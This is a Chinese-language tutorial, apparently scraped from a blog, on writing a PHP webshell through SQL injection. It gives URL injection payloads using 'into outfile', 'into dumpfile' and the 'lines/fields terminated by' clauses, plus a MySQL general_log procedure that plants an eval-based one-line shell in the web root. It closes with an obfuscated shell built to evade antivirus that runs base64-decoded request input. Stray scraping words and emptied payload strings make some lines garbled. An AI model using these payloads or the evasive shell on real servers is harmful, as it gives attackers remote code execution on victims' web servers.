sql注入之文件寫入into outfile

sql注入中寫入webshell的幾種方式php

sql注入中寫入webshell的幾種方式

  1. secure_file_priv="c:/…"被註釋掉或者是web路徑mysql

  2. php.ini中的get_magic_quotes_gpc()函數未開啓web

    其中secure_file_priv有三種狀況sql

    1. 空,表示導入導出沒有任何限制
    2. 有指定路徑,好比("c:/xxx/xxx"):只能向指定路徑導入導出文件
    3. null,禁止導入導出

    在進行寫入websell時,要注意參數secure_file_priv是否有指定路徑或者是否爲null。最好要得到root權限shell

    0x01函數

Union select後寫入日誌

  1. union select+into outfile
  • ?id=1')) union select 1,2, "" into outfile "D:/Phpstudy/PHPTutorial/test1.php

Ps:目錄分隔符要用斜槓(/)code

  1. union select+into dumpfile

outfile與dumpfile有必定的區別
eg:假設有一個二進制文件,若是用outfile導入,則在導出過程當中會被轉義從而被破壞,這是隻能使用dumpfile函數blog

Into dumpfile函數不會對任何列行進行終止,也不會執行轉義處理get

0x02

Lines terminated by

?id=1' into outfile 'D:\Phpstudy\PHPTutorial\WWW\num.php' lines terminated by ''--+

注入原理:select 語句查詢的內容寫入文件,Lines terminated by語句拼接webshell。

能夠理解爲:以每行終止的位置添加xx內容

0x03

Lines starting by

?id=1' into outfile 'D:\Phpstudy\PHPTutorial\WWW\num2.php' lines starting by ''--+

Lines starting by 以每行開始的位置添加xx內容

0x04

Fields terminated by

?id=1' into outfile 'D:\Phpstudy\PHPTutorial\WWW\num3.php' fields terminated by ''--+

Fields terminated by 每一個字段的間隔中插入xx內容

0x05

Columns terminated by

?id=1' into outfile 'D:\Phpstudy\PHPTutorial\WWW\num4.php' columns terminated by ''--+

Columns terminated by 每一個字段的位置添加xx內容

0x06

利用log寫入

當沒法使用select into outfile寫入一句話時,能夠經過修改mysql的log文件getshell
(必須得到mysql的root權限)

show variables like '%general%';             #查看配置
set global general_log = on;                 #開啓general log模式
set global general_log_file = 'E:/study/WWW/evil.php'; #設置日誌目錄爲shell地址
select '<?php eval($_GET[g]);?>'             #寫入shell
set global general_log=off;                  #關閉general log模式

流程:
1.開啓general log模式

2.修改log根地址

3.寫入shell

開啓general log模式後,只要是對mysql進行操做的語句都會在log中有記錄,修改log根地址後,寫入一句話shell就能夠利用相對路徑

附:

sql查詢免殺shell語句
SELECT 「<?php $p = array(‘f’=>’a’,’pffff’=>’s’,’e’=>’fffff’,’lfaaaa’=>’r’,’nnnnn’=>’t’);$a = array_keys($p);$_=$p[‘pffff’].$p[‘pffff’].$a[2];$_= ‘a’.$_.’rt';$_(base64_decode($_REQUEST[‘username’]));?>」
相關文章
相關標籤/搜索